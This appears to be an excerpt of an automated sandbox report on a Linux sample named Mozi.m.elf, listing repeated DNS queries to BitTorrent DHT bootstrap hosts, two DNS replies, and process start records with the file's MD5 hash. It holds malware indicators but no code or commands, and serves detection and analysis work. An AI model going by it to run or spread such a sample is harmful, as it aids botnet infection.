Dec 11, 2024 00:43:48.161788940 CET	192.168.2.23	1.1.1.1	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:48.161811113 CET	192.168.2.23	8.8.8.8	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:53.163953066 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:53.164005041 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:53.164037943 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:58.164505005 CET	192.168.2.23	1.1.1.1	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:58.164532900 CET	192.168.2.23	8.8.8.8	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:58.164551020 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:03.167632103 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:03.167656898 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:03.167675018 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:08.289392948 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:08.289412022 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:08.289422035 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:13.538661003 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:13.538683891 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:13.538711071 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:18.787955999 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:18.788124084 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:18.788175106 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:24.037163019 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:24.037189007 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:24.037197113 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:29.286473989 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:29.286521912 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:29.286536932 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:34.535862923 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:34.535959959 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:34.536005020 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:39.785042048 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:39.785106897 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:39.785131931 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:45.034667969 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:45.034748077 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:45.034791946 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:50.283536911 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:50.283564091 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:50.283565998 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:55.532994032 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:55.533056021 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:44:55.533118963 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:00.782179117 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:00.782269955 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:00.782294035 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:06.031363010 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:06.031397104 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:06.031399012 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:11.280647993 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:11.280699968 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:11.280718088 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:16.530293941 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:16.530334949 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:16.530364037 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:21.779149055 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:21.779172897 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:21.779181004 CET	192.168.2.23	1.1.1.1	0xec2d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:27.028434992 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:27.028500080 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:32.277733088 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:32.277755976 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:37.526964903 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:37.526999950 CET	192.168.2.23	8.8.8.8	0xf507	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:42.776340008 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:48.025607109 CET	192.168.2.23	1.1.1.1	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:45:53.274822950 CET	192.168.2.23	8.8.8.8	0x1791	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 00:43:23.152563095 CET	1.1.1.1	192.168.2.23	0xa1fb	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Dec 11, 2024 00:43:23.152563095 CET	1.1.1.1	192.168.2.23	0xa1fb	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false

Start time (UTC):	23:42:49
Start date (UTC):	10/12/2024
Path:	/tmp/Mozi.m.elf
Arguments:	/tmp/Mozi.m.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:42:50
Start date (UTC):	10/12/2024
Path:	/tmp/Mozi.m.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:43:05
Start date (UTC):	10/12/2024
Path:	/tmp/Mozi.m.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:43:06
Start date (UTC):	10/12/2024
Path:	/tmp/Mozi.m.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:42:55
Start date (UTC):	10/12/2024
Path:	/tmp/Mozi.m.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	23:43:00
Start date (UTC):	10/12/2024
Path:	/tmp/Mozi.m.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1